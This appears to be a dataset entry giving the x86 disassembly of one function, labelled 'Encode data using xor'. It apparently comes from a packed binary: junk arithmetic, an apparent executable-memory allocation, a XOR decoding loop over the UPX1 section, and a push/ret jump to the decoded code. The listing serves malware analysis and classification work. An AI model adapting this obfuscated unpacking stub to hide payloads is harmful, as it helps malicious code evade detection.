Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa057a51c
sub ecx, esi
not esi
popal
mov ecx, esi
and esi, esi
and ecx, ecx
mov eax, 0
mov esi, edx
mov ecx, ebx
sub ebx, 1
mov edi, esi
sub ebx, 1
inc ebx
mov edx, edi
not ebx
sub ecx, 0xa2d3eb7e
inc eax
add ebx, ecx
or ecx, ebx
sub ecx, 1
cmp eax, 0x1000e0b
jne 0xa789c2
sub ebx, ecx
mov ebx, 0x177659b5
add ebx, ebx
sub esi, ecx
or esi, esi
mov edi, 0xa78796
or edx, edx
or ebx, ecx
mov ecx, 0x72807bd0
mov eax, 0xa7898a
mov edx, 0x70b458ba
mov ebx, 0x54780ae5
sub ecx, edx
mov esi, dword [edi]
inc edx
sub ebx, edx
mov edx, ebx
and esi, 0xff
and ecx, ebx
sub edx, ebx
xor dword [eax], esi
mov ecx, 0x296dd939
dec ecx
mov edx, 0x98b3f7eb
inc eax
sub ebx, edx
sub edx, ebx
inc edi
sub ebx, 1
mov ecx, edx
mov ecx, 0x8877130e
cmp eax, entry0
jl 0xa78a22
not ecx
add ebx, 0xd6793cfa
or ebx, ebx
add ebx, 1
sub ecx, 1
add esi, ecx
add ecx, ebx
mov edi, 0xa7898e
add edx, ecx
not ecx
add ebx, 1
mov edi, dword [edi]
sub edx, ecx
add esi, ecx
inc esi
mov edi, dword [edi]
mov ebx, edx
sub ecx, 0xec602810
add esi, 0xb6f39ded
push edi
mov edx, 0xa5cf0e8
sub esi, 0xe6bbfa5a
mov ecx, edx
mov edi, 0xa7898a
not ebx
and ecx, ecx
mov edi, dword [edi]
and ebx, ebx
add edx, ecx
mov edi, dword [edi]
sub esi, 0x5fb574d1
dec edx
push 0xa78992
mov ecx, esi
mov edx, 0xa244eb45
call edi
mov esi, ecx
add edx, 0x3df4a329
not esi
mov edi, dword [esp]
add esp, 4
mov ebx, edx
add esi, edx
sub esp, 4
mov dword [esp], 0xa7899f
or esi, esi
inc ecx
and esi, esi
push eax
sub ebx, edx
sub ecx, esi
mov ebx, 0x9bec292f
call edi
or esi, ecx
dec ecx
push 0x40
add ecx, 0x78247157
inc edx
dec ebx
sub esp, 4
mov dword [esp], 0x3000
or edx, esi
not edx
sub esp, 4
mov dword [esp], 0x20000b74
sub esi, edx
sub ecx, ebx
sub ecx, ebx
push 0
inc ecx
add edx, 0xcea67799
call eax
and esi, edx
dec ebx
add eax, 0x20000b04
add edx, 0xced1dff9
not ecx
mov esi, 0x75aa65de
mov edi, 0x23c5b8e
sub ebx, esi
or ebx, ecx
and edx, ecx
mov dword [eax], edi
sub esi, 0x7a432464
sub edx, 0xa94bf2fe
mov edi, dword [eax]
mov esi, 0xad8c3eef
add edx, 0x60aecc44
add ebx, edx
cmp edi, 0x23c5b8e
je 0xa78b8b
mov ecx, 0
mov dword [ecx], eax
dec esi
add ecx, ecx
dec edx
sub esi, 0x77962e3b
and esi, ecx
not ecx
mov edi, section.UPX1
sub esi, 0xe6179779
add esi, esi
mov eax, 0xa78795
mov ecx, esi
sub ecx, 0xff2e759b
mov ebx, 0
dec esi
sub ecx, 0x85a06925
inc esi
mov edx, 0xa78796
add ecx, 0xbc29c697
or esi, esi
sub ecx, 0x8d62c688
lea edx, [ebx + edx]
sub esi, ecx
mov esi, ecx
inc esi
mov edx, dword [edx]
mov esi, ecx
add esi, 0x2919975f
sub esi, 0x6cc32bc3
and edx, 0xff
and esi, ecx
mov esi, ecx
inc ebx
sub esi, ecx
add esi, 0x95701192
cmp ebx, 0x1f4
jne 0xa78c0b
mov ebx, 0
sub ecx, esi
mov esi, ecx
sub esi, 0xde9cdac
not esi
mov ecx, 0x9539797f
xor dword [edi], edx
dec esi
mov ecx, 0xabad91f4
add edi, 2
add esi, 0xcb1c7694
dec ecx
not esi
cmp edi, eax
jl 0xa78bc0
add ecx, 0xd45cd156
mov esi, ecx
sub ecx, 0xcd6ad0d6
not ecx
not ecx
mov ecx, section.UPX1
add edi, ebx
mov ebx, 0x20fe1586
dec ebx
mov eax, section.UPX1
dec ebx
and edi, edi
mov esi, 0xa78795
inc edi
dec edi
mov edx, 0
add ebx, 0xb26098c7
not edi
mov edi, ebx
mov dl, byte [eax]
dec edi
dec edi
add edi, edi
mov byte [ecx], dl
and edi, ebx
add edi, ebx
add ebx, 1
add ecx, 1
inc ebx
sub ebx, 0xf9009ea6
add eax, 2
sub edi, ebx
sub ebx, edi
cmp eax, esi
jle 0xa78c78
sub ebx, 0x6ade9ef3
add edi, 1
mov ebx, 0x8f1ad893
mov ecx, esi
sub ecx, 0x24d14700
push 0x8dc6a0
mov esi, 0xcf95c0b1
sub esi, ecx
sub esi, 0xa296f241
ret